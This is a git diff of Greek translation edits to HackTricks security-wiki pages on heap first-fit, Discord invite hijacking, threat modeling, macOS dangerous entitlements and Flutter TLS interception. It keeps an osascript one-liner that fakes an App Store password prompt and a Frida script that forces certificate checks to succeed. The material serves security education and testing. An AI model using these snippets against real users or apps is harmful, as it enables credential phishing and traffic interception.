-Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα: +Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα arena:
-και μέσα σε αυτήν μπορούν να βρεθούν μερικά κομμάτια: +και μέσα σε αυτήν μπορούν να βρεθούν μερικά chunks:
@@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 1fd9c84c2..e8716729d 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -26,11 +26,11 @@ char *c = malloc(250); Τα Fastbins χρησιμοποιούνται για μικρές μνήμες. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin. -Example: +Παράδειγμα: -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +- Εσείς δεσμεύετε τέσσερα κομμάτια των 20 byte το καθένα (`a`, `b`, `c`, `d`). +- Όταν τα απελευθερώσετε με οποιαδήποτε σειρά, τα απελευθερωμένα κομμάτια προστίθενται στην κεφαλή του fastbin. +- Αν ζητήσετε στη συνέχεια ένα κομμάτι 20 byte, ο allocator θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την κεφαλή του fastbin. ```c char *a = malloc(20); char *b = malloc(20); @@ -57,6 +57,6 @@ d = malloc(20); // a - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) -- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που δεσμεύεται (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με το 4 μέσα του. +- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που έχει δεσμευτεί (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με το 4 μέσα του. -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index fc430b021..7a67a419d 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Η ευπάθεια του συστήματος προσκλήσεων του Discord επιτρέπει στους απειλητικούς παράγοντες να διεκδικήσουν κωδικούς προσκλήσεων που έχουν λήξει ή διαγραφεί (προσωρινές, μόνιμες ή προσαρμοσμένες) ως νέους προσαρμοσμένους συνδέσμους σε οποιονδήποτε διακομιστή με Boost επιπέδου 3. Με την κανονικοποίηση όλων των κωδικών σε πεζά, οι επιτιθέμενοι μπορούν να προεγγραφούν γνωστούς κωδικούς προσκλήσεων και να υποκλέψουν σιωπηλά την κίνηση μόλις ο αρχικός σύνδεσμος λήξει ή ο πηγαίος διακομιστής χάσει την ενίσχυσή του. +Η ευπάθεια του συστήματος προσκλήσεων του Discord επιτρέπει στους απειλητικούς παράγοντες να διεκδικήσουν κωδικούς προσκλήσεων που έχουν λήξει ή διαγραφεί (προσωρινές, μόνιμες ή προσαρμοσμένες) ως νέους προσαρμοσμένους συνδέσμους σε οποιονδήποτε διακομιστή με Boost επιπέδου 3. Με την κανονικοποίηση όλων των κωδικών σε πεζά, οι επιτιθέμενοι μπορούν να προεγγραφούν γνωστούς κωδικούς προσκλήσεων και να υποκλέψουν σιωπηλά την κίνηση μόλις ο αρχικός σύνδεσμος λήξει ή ο πηγαίος διακομιστής χάσει το Boost του. ## Τύποι Προσκλήσεων και Κίνδυνος Υποκλοπής | Τύπος Πρόσκλησης | Υποκλέψιμος; | Συνθήκη / Σχόλια | |-----------------------|--------------|--------------------------------------------------------------------------------------------------------| -| Προσωρινός Σύνδεσμος | ✅ | Μετά την λήξη, ο κωδικός γίνεται διαθέσιμος και μπορεί να επανακαταχωρηθεί ως προσαρμοσμένο URL από έναν ενισχυμένο διακομιστή. | +| Προσωρινός Σύνδεσμος | ✅ | Μετά την λήξη, ο κωδικός γίνεται διαθέσιμος και μπορεί να ξαναεγγραφεί ως προσαρμοσμένο URL από έναν διακομιστή με Boost. | | Μόνιμος Σύνδεσμος | ⚠️ | Εάν διαγραφεί και αποτελείται μόνο από πεζά γράμματα και ψηφία, ο κωδικός μπορεί να γίνει διαθέσιμος ξανά. | -| Προσαρμοσμένος Σύνδεσμος | ✅ | Εάν ο αρχικός διακομιστής χάσει την ενίσχυση επιπέδου 3, η προσαρμοσμένη πρόσκληση γίνεται διαθέσιμη για νέα καταχώρηση. | +| Προσαρμοσμένος Σύνδεσμος | ✅ | Εάν ο αρχικός διακομιστής χάσει το Boost επιπέδου 3, η προσαρμοσμένη πρόσκληση γίνεται διαθέσιμη για νέα εγγραφή. | ## Βήματα Εκμετάλλευσης @@ -58,4 +58,4 @@ navigator.clipboard.writeText(cmd); - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index 5ee2a63a0..018bfd618 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,27 +1,27 @@ # Threat Modeling -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## Threat Modeling -Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγικά σχεδιάζουμε ενάντια σε πιθανές ευπάθειες ενός συστήματος. Αυτό το νήμα χρησιμεύει ως ένας οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμο λογισμικό και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες της κυβερνοασφάλειάς τους. +Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγούμε ενάντια σε πιθανές ευπάθειες σε ένα σύστημα. Αυτό το νήμα χρησιμεύει ως οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμο λογισμικό και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες κυβερνοασφάλειας τους. ### Commonly Used Scenarios 1. **Software Development**: Ως μέρος του Secure Software Development Life Cycle (SSDLC), το threat modeling βοηθά στην **εντοπισμό πιθανών πηγών ευπαθειών** στα πρώτα στάδια της ανάπτυξης. -2. **Penetration Testing**: Το πλαίσιο Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής. +2. **Penetration Testing**: Το Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής. ### Threat Model in a Nutshell -Ένα Threat Model συνήθως αναπαρίσταται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητες με ένα **διάγραμμα ροής δεδομένων**, αλλά η κύρια διάκριση έγκειται στο σχεδιασμό του που είναι προσανατολισμένος στην ασφάλεια. +Ένα Threat Model συνήθως απεικονίζεται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητες με ένα **διάγραμμα ροής δεδομένων**, αλλά η βασική διάκριση έγκειται στο σχεδιασμό του που επικεντρώνεται στην ασφάλεια. -Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία εντοπισμού κινδύνων, χρησιμοποιείται το τρίγωνο CIA (Confidentiality, Integrity, Availability), το οποίο αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις. +Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία εντοπισμού κινδύνων, χρησιμοποιείται η τριάδα CIA (Confidentiality, Integrity, Availability), που αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις. ### The CIA Triad -Το CIA Triad είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling. +Η τριάδα CIA είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling. -1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν προσβάλλονται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων. +1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν αποκτώνται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων. 2. **Integrity**: Η ακρίβεια, η συνέπεια και η αξιοπιστία των δεδομένων κατά τη διάρκεια του κύκλου ζωής τους. Αυτή η αρχή διασφαλίζει ότι τα δεδομένα δεν τροποποιούνται ή παραποιούνται από μη εξουσιοδοτημένα μέρη. Συχνά περιλαμβάνει checksums, hashing και άλλες μεθόδους επαλήθευσης δεδομένων. 3. **Availability**: Αυτό διασφαλίζει ότι τα δεδομένα και οι υπηρεσίες είναι προσβάσιμα σε εξουσιοδοτημένους χρήστες όταν χρειάζεται. Αυτό συχνά περιλαμβάνει πλεονασμό, αντοχή σε σφάλματα και ρυθμίσεις υψηλής διαθεσιμότητας για να διατηρούνται τα συστήματα σε λειτουργία ακόμη και μπροστά σε διαταραχές. @@ -29,14 +29,14 @@ 1. **STRIDE**: Αναπτυγμένο από τη Microsoft, το STRIDE είναι ένα ακρωνύμιο για **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Κάθε κατηγορία αντιπροσωπεύει έναν τύπο απειλής, και αυτή η μεθοδολογία χρησιμοποιείται συνήθως στη φάση σχεδιασμού ενός προγράμματος ή συστήματος για την αναγνώριση πιθανών απειλών. 2. **DREAD**: Αυτή είναι μια άλλη μεθοδολογία από τη Microsoft που χρησιμοποιείται για την εκτίμηση κινδύνου των αναγνωρισμένων απειλών. Το DREAD σημαίνει **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Κάθε ένας από αυτούς τους παράγοντες βαθμολογείται, και το αποτέλεσμα χρησιμοποιείται για την προτεραιοποίηση των αναγνωρισμένων απειλών. -3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την αναγνώριση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογών, την ανάλυση απειλών, την ανάλυση ευπαθειών και την εκτίμηση κινδύνου/τριγιάζ. -4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια προοπτική **διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο. +3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την αναγνώριση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογής, την ανάλυση απειλών, την ανάλυση ευπαθειών και την εκτίμηση κινδύνου/triage. +4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια **οπτική διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο. 5. **VAST** (Visual, Agile, and Simple Threat modeling): Αυτή η προσέγγιση στοχεύει να είναι πιο προσβάσιμη και ενσωματώνεται σε περιβάλλοντα Agile ανάπτυξης. Συνδυάζει στοιχεία από τις άλλες μεθοδολογίες και επικεντρώνεται σε **οπτικές αναπαραστάσεις απειλών**. -6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **εκτίμηση οργανωτικού κινδύνου παρά συγκεκριμένων συστημάτων ή λογισμικού**. +6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **εκτίμηση οργανωτικού κινδύνου παρά για συγκεκριμένα συστήματα ή λογισμικό**. ## Tools -Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμες που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε. +Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμα που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -83,10 +83,10 @@ Μια μικρή εξήγηση για τις οντότητες: - Process (Η οντότητα αυτή καθαυτή όπως Webserver ή web functionality) -- Actor (Ένα άτομο όπως ένας επισκέπτης ιστοσελίδας, χρήστης ή διαχειριστής) -- Data Flow Line (Δείκτης αλληλεπίδρασης) +- Actor (Ένα άτομο όπως ένας Επισκέπτης Ιστοσελίδας, Χρήστης ή Διαχειριστής) +- Data Flow Line (Δείκτης Αλληλεπίδρασης) - Trust Boundary (Διαφορετικά τμήματα ή πεδία δικτύου.) -- Store (Πράγματα όπου αποθηκεύονται τα δεδομένα όπως βάσεις δεδομένων) +- Store (Πράγματα όπου αποθηκεύονται τα δεδομένα όπως Βάσεις Δεδομένων) 5. Δημιουργία μιας Απειλής (Βήμα 1) @@ -98,19 +98,19 @@
-Λάβετε υπόψη ότι υπάρχει διαφορά μεταξύ των Απειλών Ηθοποιών και των Απειλών Διαδικασίας. Εάν προσθέσετε μια απειλή σε έναν Ηθοποιό, τότε θα μπορείτε να επιλέξετε μόνο "Spoofing" και "Repudiation". Ωστόσο, στο παράδειγμά μας προσθέτουμε απειλή σε μια οντότητα Διαδικασίας, οπότε θα δούμε αυτό στο πλαίσιο δημιουργίας απειλής: +Λάβετε υπόψη ότι υπάρχει διαφορά μεταξύ Απειλών Ηθοποιών και Απειλών Διαδικασίας. Αν προσθέσετε μια απειλή σε έναν Ηθοποιό, τότε θα μπορείτε να επιλέξετε μόνο "Spoofing" και "Repudiation". Ωστόσο, στο παράδειγμά μας προσθέτουμε απειλή σε μια οντότητα Διαδικασίας, οπότε θα δούμε αυτό στο πλαίσιο δημιουργίας απειλής:
6. Έγινε -Τώρα το ολοκληρωμένο μοντέλο σας θα πρέπει να μοιάζει κάπως έτσι. Και έτσι δημιουργείτε ένα απλό threat model με το OWASP Threat Dragon. +Τώρα το ολοκληρωμένο μοντέλο σας θα πρέπει να φαίνεται κάπως έτσι. Και έτσι δημιουργείτε ένα απλό threat model με το OWASP Threat Dragon.
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην αναγνώριση απειλών στη φάση σχεδιασμού έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft. +Αυτό είναι ένα δωρεάν εργαλείο από τη Microsoft που βοηθά στην αναγνώριση απειλών στη φάση σχεδιασμού των έργων λογισμικού. Χρησιμοποιεί τη μεθοδολογία STRIDE και είναι ιδιαίτερα κατάλληλο για εκείνους που αναπτύσσουν στην πλατφόρμα της Microsoft. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index f9efc2ea2..9efd2672a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -25,7 +25,7 @@ ### `com.apple.security.cs.debugger` -Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και που είναι επομένως προστατευμένες από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). +Οι εφαρμογές με το Entitlement Εργαλείου Αποσφαλμάτωσης μπορούν να καλέσουν `task_for_pid()` για να ανακτήσουν ένα έγκυρο task port για μη υπογεγραμμένες και τρίτες εφαρμογές με το entitlement `Get Task Allow` ρυθμισμένο σε `true`. Ωστόσο, ακόμη και με το entitlement εργαλείου αποσφαλμάτωσης, ένας αποσφαλματωτής **δεν μπορεί να αποκτήσει τα task ports** διαδικασιών που **δεν έχουν το entitlement `Get Task Allow`**, και οι οποίες προστατεύονται από την Προστασία Ακεραιότητας Συστήματος. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). ### `com.apple.security.cs.disable-library-validation` @@ -54,11 +54,11 @@ Entitlement που απαιτείται για να ζητήσει από τον ### **`com.apple.private.icloud-account-access`** -Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει tokens iCloud**. +Το entitlement **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** η οποία θα **παρέχει tokens iCloud**. Το **iMovie** και το **Garageband** είχαν αυτό το entitlement. -Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement, δείτε την ομιλία: [**#OBTS v5.0: "Τι συμβαίνει στον υπολογιστή σας, παραμένει στο iCloud της Apple;!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτό το entitlement δείτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### `com.apple.private.tcc.manager.check-by-audit-token` @@ -93,7 +93,7 @@ TODO: Στο [**αυτό το αναφορά**](https://jhftss.github.io/The-Nig Επιτρέπει στην εφαρμογή να στέλνει γεγονότα σε άλλες εφαρμογές που χρησιμοποιούνται συνήθως για **αυτοματοποίηση εργασιών**. Ελέγχοντας άλλες εφαρμογές, μπορεί να καταχραστεί τις άδειες που έχουν παραχωρηθεί σε αυτές τις άλλες εφαρμογές. -Όπως να τις κάνει να ζητούν από τον χρήστη τον κωδικό του: +Όπως το να τις κάνει να ζητούν από τον χρήστη τον κωδικό του: ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` @@ -113,7 +113,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
-Είναι δυνατόν να ελεγχθεί ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._ +Είναι δυνατή η επαλήθευση του ποιος έχει αυτή την πρόσβαση στο _System Settings_ > _Privacy & Security_ > _App Management._ ### `kTCCServiceAccessibility` @@ -134,7 +134,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### `com.apple.security.cs.disable-executable-page-protection` -Αυτή η άδεια επιτρέπει να **τροποποιήσει τμήματα των εκτελέσιμων αρχείων της** στο δίσκο για να εξαναγκάσει την έξοδο. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +Αυτή η άδεια επιτρέπει να **τροποποιήσει τμήματα των δικών της εκτελέσιμων αρχείων** στο δίσκο για να εξαναγκάσει την έξοδο. Δείτε [**αυτό για περισσότερες πληροφορίες**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). > [!CAUTION] > Η Άδεια Απενεργοποίησης Προστασίας Εκτελέσιμης Μνήμης είναι μια ακραία άδεια που αφαιρεί μια θεμελιώδη προστασία ασφαλείας από την εφαρμογή σας, καθιστώντας δυνατή την αναγραφή του εκτελέσιμου κώδικα της εφαρμογής σας χωρίς ανίχνευση. Προτιμήστε στενότερες άδειες αν είναι δυνατόν. @@ -160,11 +160,11 @@ TODO ### **`kTCCServicePostEvent`** -{{#include ../../../banners/hacktricks-training.md}} + -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md index d2feb116b..143e71e01 100644 --- a/src/mobile-pentesting/android-app-pentesting/flutter.md +++ b/src/mobile-pentesting/android-app-pentesting/flutter.md @@ -3,8 +3,8 @@ {{#include ../../banners/hacktricks-training.md}} # Flutter -Το Flutter είναι το **εργαλείο UI πολλαπλών πλατφορμών της Google** που επιτρέπει στους προγραμματιστές να γράφουν μια ενιαία βάση κώδικα Dart, την οποία ο **Engine** (native C/C++) μετατρέπει σε κωδικό μηχανής συγκεκριμένο για τις πλατφόρμες Android & iOS. -Ο Engine περιλαμβάνει μια **Dart VM**, **BoringSSL**, Skia, κ.λπ., και αποστέλλεται ως η κοινή βιβλιοθήκη **libflutter.so** (Android) ή **Flutter.framework** (iOS). Όλη η πραγματική δικτύωση (DNS, sockets, TLS) συμβαίνει **μέσα σε αυτή τη βιβλιοθήκη**, *όχι* στα συνήθη επίπεδα Java/Kotlin Swift/Obj-C. Αυτός ο απομονωμένος σχεδιασμός είναι ο λόγος που οι συνήθεις hooks επιπέδου Java Frida αποτυγχάνουν σε εφαρμογές Flutter. +Το Flutter είναι το **εργαλείο διεπαφής χρήστη πολλαπλών πλατφορμών της Google** που επιτρέπει στους προγραμματιστές να γράφουν μια ενιαία βάση κώδικα Dart, την οποία ο **Engine** (native C/C++) μετατρέπει σε κωδικό μηχανής συγκεκριμένο για Android & iOS. +Ο Engine περιλαμβάνει μια **Dart VM**, **BoringSSL**, Skia, κ.λπ., και αποστέλλεται ως η κοινή βιβλιοθήκη **libflutter.so** (Android) ή **Flutter.framework** (iOS). Όλη η πραγματική δικτύωση (DNS, sockets, TLS) συμβαίνει **μέσα σε αυτή τη βιβλιοθήκη**, *όχι* στα συνήθη επίπεδα Java/Kotlin Swift/Obj-C. Αυτός ο απομονωμένος σχεδιασμός είναι ο λόγος που οι συνήθεις hooks σε επίπεδο Java αποτυγχάνουν σε εφαρμογές Flutter. ## Παρεμβολή HTTPS traffic στο Flutter @@ -31,12 +31,12 @@ * **Επιστρέφει `bool`** – μια μόνο `true` είναι αρκετή για να παρακάμψει ολόκληρη την επαλήθευση αλυσίδας πιστοποιητικών. * Η ίδια λειτουργία υπάρχει σε κάθε αρχιτεκτονική CPU; μόνο οι κωδικοί λειτουργιών διαφέρουν. -### Επιλογή A – Διόρθωση δυαδικών αρχείων με **reFlutter** +### Επιλογή A – Δυαδική διόρθωση με **reFlutter** 1. **Κλωνοποιήστε** τις ακριβείς πηγές Engine & Dart για την έκδοση Flutter της εφαρμογής. 2. **Regex-patch** δύο hotspots: * Στο `ssl_x509.cc`, αναγκάστε `return 1;` -* (Προαιρετικά) Στο `socket_android.cc`, σκληρά κωδικοποιήστε έναν proxy (`"10.0.2.2:8080"`). -3. **Επανασυντάξτε** το libflutter.so, τοποθετήστε το ξανά στο APK/IPA, υπογράψτε, εγκαταστήστε. +* (Προαιρετικά) Στο `socket_android.cc`, σκληροκωδικοποιήστε έναν proxy (`"10.0.2.2:8080"`). +3. **Επανασυγκεντρώστε** το libflutter.so, τοποθετήστε το πίσω στο APK/IPA, υπογράψτε, εγκαταστήστε. 4. **Προ-διορθωμένες εκδόσεις** για κοινές εκδόσεις αποστέλλονται στις εκδόσεις GitHub του reFlutter για να εξοικονομήσουν ώρες χρόνου κατασκευής. ### Επιλογή B – Ζωντανή σύνδεση με **Frida** (η “σκληρή” διαδρομή) @@ -58,7 +58,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true' onComplete: function () { console.log("scan done"); } }); ``` -Τρέξτε το: +Λάβετε το: ```bash frida -U -f com.example.app -l bypass.js ``` @@ -74,4 +74,4 @@ frida -U -f com.example.app -l bypass.js ## Αναφορές - 